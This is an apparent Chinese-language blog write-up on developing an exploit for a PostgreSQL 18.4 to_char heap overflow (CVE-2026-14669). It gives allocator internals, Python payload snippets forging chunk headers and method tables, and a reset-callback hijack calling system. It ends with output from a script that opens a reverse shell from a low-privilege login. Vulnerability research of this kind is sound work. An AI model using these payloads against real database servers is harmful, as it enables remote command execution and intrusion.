3275 字
16 分钟
PostgreSQL to_char 堆溢出利用研究记录(CVE-2026-14669)

复现文章记录结论,本文记录研究过程。CVE-2026-14669 是 to_char 处理时区缩写时的堆溢出,公开利用只针对 19beta1 的一个特定构建。目标是在 18.4 上从任意可登录账号取得命令执行,全程只使用 SQL。

问题的定义#

漏洞本身只提供一次越界写。要把它变成可控利用,需要回答三个问题:越界写能覆盖哪些结构、哪些结构被改写后会触发进一步行为、以及在没有符号信息时如何确定这些结构的地址。

公开利用依赖 19beta1 的分配器行为与堆布局,直接照搬到 18.4 会让后端在准备阶段崩溃,崩溃点位于 GenerationFree 内部,与公开链预期的位置不同。这说明两版的内部结构存在差异,继续调常数没有意义,需要先建立对目标分配器的准确认识。

方法号是什么,从哪里来#

PostgreSQL 的内存分配统一走 palloc,每次分配都归属于某个 MemoryContext。不同上下文可以由不同的分配器实现:普通上下文用 AllocSet,按代管理的上下文用 Generation,固定大小对象的上下文用 Slab,只增不减的上下文用 Bump。

每种分配器都实现同一组操作(分配、释放、重分配、复位、删除等),打包成一个函数指针数组,称为方法表。程序启动时这些方法表按顺序登记进一张全局数组 mcxt_methods[],数组下标就是方法号。分配器在写入块头时,把自己的下标写进块头的低四位,于是释放时不需要知道上下文,只读块头就能找到对应的释放函数。派发过程本身只有三步:

uint64 hdrmask = *(uint64 *) ((char *) pointer - 8);
uint32 method = hdrmask & 0x0F;
mcxt_methods[method]->free_p(pointer);

18.4 的派发表位于映像内固定偏移 0x9D9400,每项 72 字节(9 个指针),第二个指针是释放函数。逐项读出的结果如下:

方法号 释放函数 RVA
0,1,2,8-15 BogusFree 0x17186E
3 AllocSetFree 0x6A1DC0
4 GenerationFree 0x6A7090
5 SlabFree 0x6AA1C0
6 指针对齐转发 0x6A1460
7 BumpFree 0x171221

这张表还解释了一个后续反复用到的常数。AllocSet 的方法表地址等于派发表基址加上方法号乘项长:

0x9D9400 + 3 * 72 = 0x9D94D8

0x9D94D8 正是泄漏阶段用来反推程序基址的那个偏移。它之所以固定,是因为方法表在映像中的位置由链接顺序决定,不随运行期地址变化。对应的机器码也只有五条指令:

6a8600 <pfree>:
mov -0x8(%rdi),%rax
and $0xf,%eax
lea (%rax,%rax,8),%rdx ; 方法号乘 9
lea 0x330dea(%rip),%rax ; mcxt_methods
jmp *0x8(%rax,%rdx,8) ; 跳到 free_p

块头 8 个字节的位域划分同样来自这套设计:

位 0-3 方法号(4 位)
位 4 external 标志(0x10)
位 5-34 块大小(30 位)
位 34-63 块偏移(30 位,最低位恒为 0)

释放函数用块偏移复原所属大块的地址,三个真实释放函数展开后是同一个公式:

block = (chunk - 8) - ((hdr >> 34) & 0x3FFFFFFE)

字段本身有 30 位,但利用时只能控制块头的前 6 个字节,因此实际可用偏移不超过 0x3FFFFFFE,即向低地址 16 KB。

建模之后,崩溃变成可定位的事实#

模型建立之前,一次崩溃只说明“参数不对”。模型建立之后,同样的崩溃可以读出函数名、指令偏移与出错字段。例如照搬公开链时的记录:

RIP=0x55d1d72bf10d <GenerationFree+125>

偏移 +125 对应读取伪造块的 context 字段,说明类型混淆确实发生,问题出在块结构与 19beta1 不同。围绕这一判断又做了两组扫描。

第一组固定填充字符为 d,改变缩写长度:

缩写长度 结果
16-31 正常返回
32 pfree 拒绝,块头 0x0000020000000000
33-49 后端崩溃

to_char(now(),'TZtz') 的结果缓冲区是 64 字节的块,偏移 64 即下一个块头。长度不超过 31 时两次拷贝都留在块内;32 时只有一个终止符落到块头首字节;33 起开始改写方法号。

第二组固定长度为 33,改变填充字符:

填充 方法号 结果
b 2 pfree 拒绝
c 3 正常返回
d 4 后端崩溃
e 5 后端崩溃
f 6 pfree 拒绝
g 7 后端崩溃

只有 c 存活,公开链使用的 d 恰好对应崩溃的那一项。方法号与释放函数的对应关系随版本不同,这是第一处不能照搬的地方。

观测手段:把未知量变成可测量量#

模型给出结构,观测给出数值。研究过程中固定使用三种方式。

第一种是把软报错当作探针。方法号 1 进入 BogusFree,报错同时给出被释放指针与块头内容,既不终止进程,又能读出地址。解析只需要一次正则:

m = re.search(rb"invalid pointer (0x[0-9a-f]+)", err)
addr = int(m.group(1), 16)

第二种是用特征值定位缓冲区。在载荷固定位置写入 system 的 PLT 地址,在 hex_decode 返回的瞬间扫描堆内存,命中位置减去固定偏移即为载荷起点:

载荷长度 与泄漏指针的距离
2048 -68
3072 -68
4096 +65620
6000 +73236
7000 +77236
8090 +81588

3 KB 以内稳定落在泄漏指针减 68 的位置,4 KB 起进入独立大块。这条分布决定了后续载荷的尺寸上限。

第三种是写后读回。任意写原语会把目标原值同时读回结果缓冲区,因此每次写入都能确认是否真的发生。用它读出的两个全局变量为后续设计提供基准:

PortalContext 原值 = 0x55d1f173e750
TopTransactionContext 原值 = 0x55d1f18513a0

三种手段要落地,还需要一套能反复使用的观测工具链。早期用一次性的 psql -c 发语句,进程在语句结束或后端崩溃后立即断开,gdb 往往来不及附加;后来改为常驻会话加常驻 gdb:

Terminal window
mkfifo /tmp/qf
PGPASSWORD=postgres psql -h 127.0.0.1 -p 55432 -U postgres -f /tmp/qf &
exec 3>/tmp/qf # 保持 fifo 打开
echo "select pg_backend_pid();" >&3
HP=$(docker top pg14669 -o pid,args | grep "(54321)" | awk '{print $1}')
gdb -q -p $HP -ex "source /tmp/trace.py" -ex "continue"

这里有两个容易踩的细节。其一,后端进程要用客户端端口匹配,不能按命令行关键词取第一个,否则会附加到空闲连接上;其二,gdb 输出默认带缓冲,直接 kill 会丢失记录,需要在断点命令里 detach 后 quit,让它自己退出。

写原语的判据与筛选#

在模型与观测具备之后,写原语的筛选有明确判据:不调用 libc free、写入值可控、目标地址可控、不破坏当前事务。

方法号 6:指针对齐#

指针对齐把块头里的偏移字段当成反推量:

target = chunk - ((hdr >> 34) & 0x3FFFFFFE) - 8
然后 jmp pfree(target)

同一条语句中 decode() 落在 D,to_char 的缓冲区在 D+4192,几何固定,偏移因此是常数。缩写第 29 到 34 字节就是按这个偏移算出来的六个字节:

off6 = 4192 - 8 - 0x400
hdr = 6 | (off6 << 34) # 方法号 6 + 偏移
abbr[29:35] = hdr.to_bytes(8, "little")[:6]

实际脚本还会把偏移字段之外的高位填成非零字节,避免缩写里出现 NUL。十次独立会话全部重定向成功。

方法号 3:读写搬移#

AllocSetFree 在非 external 分支上只做一次搬移,不调用 free:

block = chunk - 8 - ((hdr >> 34) & 0x3FFFFFFE)
rcx = *(block)
rsi = *(rcx + (size + 10) * 8 + 8)
*(chunk) = rsi
*(rcx + (size + 10) * 8 + 8) = chunk - 8
ret

目标地址由 *(block) 与块大小字段共同决定,两者都在载荷中;写入值是块头地址,同时目标原值被读回。这一条同时满足任意读写与“不调用 free”,成为后续所有工作的基础。对应的载荷骨架如下,其中 P 由目标地址反推,减法按 64 位回绕:

size = 1 | (0x0A<<3) | (0x69<<11) | (0x64<<19) # "#\nid"
boff = 64
hdr = (3 | (size << 5) | (boff << 34)).to_bytes(8, "little")
P = (target - (size + 10) * 8 - 8) & 0xFFFFFFFFFFFFFFFF
pay[K-12:K-4] = hdr # pfree 读取的块头
pay[K+4:K+12] = (T + 0x200).to_bytes(8, "little") # 方法表指针
pay[K+0x1FC:...] = table # 九项方法表,第 4 项换成 system
pay[KB:KB+8] = P.to_bytes(8, "little") # 伪造块的 *(block)

九个方法表项除第 4 项外全部照抄真实值,这样上下文在被复位之前若被分配器用到,仍然能继续工作。

方法号 4:摘链之后调用 free#

方法号 4 的摘链同样能写两个地址,但摘链之后紧跟一句 jmp free@plt。伪造块位于解码缓冲区内部,不是 malloc 返回的块首,libc 会直接中止进程。围绕它做了 10 个目标乘 10 种伪造结构的实验,共 100 轮,结果全部为连接中断:

目标 轮数 结果
PortalContext 10 中断
CurTransactionContext 10 中断
TopTransactionContext 10 中断
MessageContext 10 中断
CacheMemoryContext 10 中断
ErrorContext 10 中断
TopMemoryContext 10 中断
CurrentMemoryContext 10 中断
PortalContext(断开) 10 中断
MessageContext(提交) 10 中断

由此整条路径被放弃,而不是继续修补。

四条候选的取舍#

四条原语的取舍可以并成一张表:

候选 不调 free 写入值可控 目标可控 结论
方法号 6 是 不写值,只转移 是 用作入口
方法号 3 是 固定为块头地址 是 用作读写
方法号 4 否 是 是 放弃
方法号 5 未验证 依赖真实 Slab 结构 否 未展开

把这四条判据写在前面,筛选就不再依赖直觉:先看收尾是否调用 libc free,再看写入值与目标地址是否都能由载荷决定,最后看会不会破坏当前事务。

地址漂移与收敛#

方法表指针必须是绝对地址,而 decode() 的落点在同一事务内会漂移。这里的思路是把未知量转化为可测量量:在 .data 中选一个空闲槽作为标定板,用同一形状的语句连续执行三次,每次把槽内原值读回结果缓冲区,下一步用读回值加 8 修正指针:

[*] converge 0: fake ctx = 0x0
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] converge 2: fake ctx = 0x55d1f17bb948

对应的循环只有五行:

for i in range(3):
cur.execute("SELECT decode('%s', ...), to_char(now(),'TZtz')" % payload(T, base+SCRATCH).hex())
old = int.from_bytes(res[K-4:K+4], "little")
if old > 0x500000000000:
T = old + 8

两次收敛到同一地址,说明落点稳定。此后连续四次执行,收敛值均为 0x55d1f17bb948,载荷第一次具备确定性。

约束下的劫持设计#

写入值固定为块头地址,这一限制反过来决定劫持方式。块头 8 个字节同时受三方面约束:低四位为方法号 3,第五位为 external 标志且必须为零,第五字节为上下文的是否已复位标志。

选择 0x23 作为首字节,同时满足方法号 3 与 external 位为零,字符为 #;第二字节放换行,使后续内容成为第二行,避开注释;块偏移取 64,使第五字节为零:

23 0a 69 64 00 01 00 00 -> "#\nid"
size = 0x3234851 block offset = 64

块偏移若取其他值,第五字节非零,复位入口会判定上下文已复位并直接返回,提交时没有任何反应。

命令只有两个字符,无法承载完整操作。最终方案改用复位回调:上下文结构的 reset_cbs 字段位于 T+0x40,指向载荷中 T+0x60 的回调块,回调的 func 为 system,arg 指向 T+0x100 的完整命令串。回调在方法表之前执行,参数完全由载荷决定,长度不再受限。

验证:从低权限账号到交互式 shell#

从攻击机以低权限账号执行,监听端收到交互式 shell:

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 rs.py 192.168.31.148 55432 postgres postgres 192.168.31.152 4444
[+] PIE base = 0x55d1d6c18000
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] fake context -> 0x55d1f17bb940
[+] payload delivered, expect a shell on 192.168.31.152:4444
Terminal window
connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 34386
postgres@e2d973a1a25d:~/18/docker$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

连续四次执行均建立连接,收敛值一致。

方法总结#

先建模,后实验。把派发表与块指针公式读清楚,崩溃就从未知故障变成已知路径上的确定位置。

先定判据,再筛原语。把“不调用 libc free、写入值与目标地址可控、不破坏当前事务”写成明确条件,可以快速排除看似诱人但必然失败的路径。

用观测替代猜测。软报错探针、特征值扫描、写后读回,三者把大部分未知量变成可测量量,地址漂移由此转化为收敛问题。

约束之下寻找替代路径。写入值固定导致命令长度受限,解法不是硬撑,而是换用回调结构,让参数来源从块头转移到载荷。

复现的环境、探测与验证过程见复现文章。

PostgreSQL to_char 堆溢出利用研究记录(CVE-2026-14669)
https://blog.mal-suen.cn/posts/2026/11/225/
作者
Malcolm
发布于
2026-11-07
许可协议
CC BY-NC-SA 4.0